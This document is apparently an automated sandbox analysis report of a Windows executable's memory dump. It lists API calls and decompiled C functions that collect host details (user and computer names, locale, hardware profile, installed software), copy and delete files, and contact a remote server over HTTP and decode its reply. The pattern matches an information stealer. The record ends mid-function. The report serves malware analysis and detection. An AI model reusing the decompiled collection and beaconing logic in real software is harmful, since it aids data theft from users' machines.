GetProcAddress.KERNEL32(75390000,00A17E38), ref: 0040D167
GetProcAddress.KERNEL32(73660000,00A16870), ref: 0040D18D
GetProcAddress.KERNEL32(73660000,00A18418), ref: 0040D1A5
GetProcAddress.KERNEL32(73660000,00A16938), ref: 0040D1BD
GetProcAddress.KERNEL32(73660000,00A17F10), ref: 0040D1D6
GetProcAddress.KERNEL32(73660000,00A17DC0), ref: 0040D1EE
GetProcAddress.KERNEL32(73660000,00A18698), ref: 0040D206
GetProcAddress.KERNEL32(73660000,00A186F8), ref: 0040D21F
GetProcAddress.KERNEL32(73660000,00A17E68), ref: 0040D237
GetProcAddress.KERNEL32(747D0000,00A185F8), ref: 0040D258
GetProcAddress.KERNEL32(747D0000,00A183F8), ref: 0040D271
GetProcAddress.KERNEL32(6ECD0000,00A17EC8), ref: 0040D292

Strings

SetEnvironmentVariableA, xrefs: 0040C9B6
CreateThread, xrefs: 0040C989
lstrcpynA, xrefs: 0040C9E3
memcpy, xrefs: 0040CB18
InternetCrackUrlA, xrefs: 0040CC16
GetEnvironmentVariableA, xrefs: 0040C99F
memset, xrefs: 0040CB01
RegGetValueA, xrefs: 0040CDCC
lstrcpyA, xrefs: 0040C9CD

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateThread$GetEnvironmentVariableA$InternetCrackUrlA$RegGetValueA$SetEnvironmentVariableA$lstrcpyA$lstrcpynA$memcpy$memset
API String ID: 2238633743-3231020739
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,009FE518), ref: 00405705
lstrcat.KERNEL32(?,00A00AD8), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,009FF5C8), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00A14A58), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00A16F10), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(00A16D78,00A16D78), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(00A16F40,00A16F40), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(00A14C38,00A14C38), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(00A14AD8,00A14AD8), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(00A16F28,00A16F28), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(00A17060,00A17060), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.KERNEL32(80000002,00A12678,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.KERNEL32(?,00A18058,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(00A16DD8,00A16DD8), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(009FF5D8,009FF5D8), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.KERNEL32(80000002,00A126B0,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.KERNEL32(?,00A18D28,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(00A13100,00A13100), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(00A13110,00A13110), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00A17018,00A17018), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(00A14D78,00A14D78), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00A16EB0,00A16EB0), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(00A16DA8,00A16DA8), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00A16F58,00A16F58), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00A17000,00A17000), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.KERNEL32(80000002,00A167A8,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.KERNEL32(?,00A18C80,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(00A13120,00A13120), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00A14998,00A14998), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.KERNEL32(80000002,00A122C8,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00A17248), ref: 00407EF9
lstrcat.KERNEL32(?,00A17268), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00A17248), ref: 00407F58
lstrcat.KERNEL32(?,00A17268), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 31.7, APIs: 21, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000001,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00A17318), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,00A17258), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00A172B8), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,00A172C8), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00A17308), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID:
API String ID: 3522136165-0
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				void* _t60;
				void* _t67;
				void* _t71;
				int _t74;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_t60 = InternetOpenA(0x41401a, 0, 0, 0, 0); // executed
				_v2020 = _t60;
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_t67 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0); // executed
						_v2016 = _t67;
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_t71 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0); // executed
							_v8 = _t71;
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0); // executed
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_t74 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308); // executed
									_v4304 = _t74;
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051cd
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x00405278
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052da
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x0040539c
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,00A12168,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,00A12168,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00A12168), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

200, xrefs: 0040534D
https://, xrefs: 004051EA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				int* _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				long _t48;
				long _t51;
				long _t54;
				long _t60;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0xa122c8
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068); // executed
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_t48 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0); // executed
						_v2072 = _t48;
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0xa122c8
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						_t51 = RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064); // executed
						if(_t51 == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0xa18c68
							_t54 = RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076); // executed
							if(_t54 == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0xa18d58
									_t60 = RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076); // executed
									if(_t60 == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b43d
0x0040b445
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000002,00A122C8,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				void* _t47;
				int _t55;
				int _t58;
				void* _t59;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
